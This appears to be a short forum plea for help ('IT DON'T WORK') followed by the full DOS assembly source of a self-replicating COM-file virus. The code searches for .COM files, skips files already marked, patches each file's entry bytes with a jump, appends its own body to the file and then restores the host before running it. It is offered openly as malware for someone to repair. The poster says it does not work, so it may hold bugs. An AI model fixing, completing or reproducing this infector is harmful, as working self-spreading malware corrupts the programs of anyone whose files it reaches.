IT DON'T WORK. PLEASE HELP ME

;==========================
CODSEG SEGMENT
ASSUME CS:CODSEG, DS:CODSEG, ES:CODSEG
ORG 100H
START:
START_VIRUS:

DB 0E9H, 00H, 00H, 'V'

FIND_FIRST:

LEA DX, DS:FILE
MOV AH, 4EH
MOV CX, 00110110b
INT 21H
JC QUIT11
FINDNEXT2:

MOV AX, 3D02H
LEA DX, DS:[9EH]
INT 21H
JC QUIT11
PUSH AX
PUSH AX

MOV AH, 3FH
POP BX
MOV CX, 4
LEA DX, DS:BUFFER
INT 21H
JC QUIT11
CMP WORD PTR [BUFFER], 'MZ'
JZ FIND_NEXT
CMP WORD PTR [BUFFER], 'ZM'
JZ FIND_NEXT
MOV AX, WORD PTR DS:[9AH]
MOV FSIZE, AX
ADD AX, END_VIRUS-START_VIRUS
JC FIND_NEXT
CMP BYTE PTR [BUFFER], 0E9H
JNZ INFECT


MOV CL, 'V'
CMP BYTE PTR [BUFFER+3], CL
JNZ INFECT
FIND_NEXT:
MOV AH, 3EH
INT 21H


MOV AH, 4FH
INT 21H

JC QUIT


JMP SHORT FINDNEXT2


QUIT1:
JMP QUIT1

QUIT11:

JMP QUIT1
INFECT:

INC BYTE PTR [COUNTER]


MOV AX, 4200H
PUSH BX
XOR CX, CX
XOR DX, DX
INT 21H

JC QUIT1

MOV AX, FSIZE
MOV WORD PTR [VIRSTUFF+1], AX

MOV BYTE PTR [VIRSTUFF], 0E9H

MOV BYTE PTR [VIRSTUFF+3], 'V'


MOV AH, 40H
MOV CX, 4
LEA DX, BYTE PTR VIRSTUFF
INT 21H

JC QUIT1
MOV AX, 4202H
XOR CX, CX
XOR DX, DX
INT 21H

JC QUIT1


MOV AH, 40H
MOV CX, OFFSET END_VIRUS-START_VIRUS
LEA DX, BYTE PTR FIND_FIRST
INT 21H


MOV AH, 3EH
INT 21H

JMP FIND_NEXT

QUIT:

MOV AL, [COUNTER]
ADD AL, 30H
MOV AH, 0EH
INT 10H


LEA SI, DS:BUFFER
MOV DI, 100H
MOV CX, 4
REP MOVSB


JMP CS:100H


FILE DB '*.COM',0
BUFFER DB 4 DUP (?)
SIGNATURE DB 'V'
VIRSTUFF DD ?
COUNTER DB 0
FSIZE DW ?


END_VIRUS:
CODSEG ENDS
END START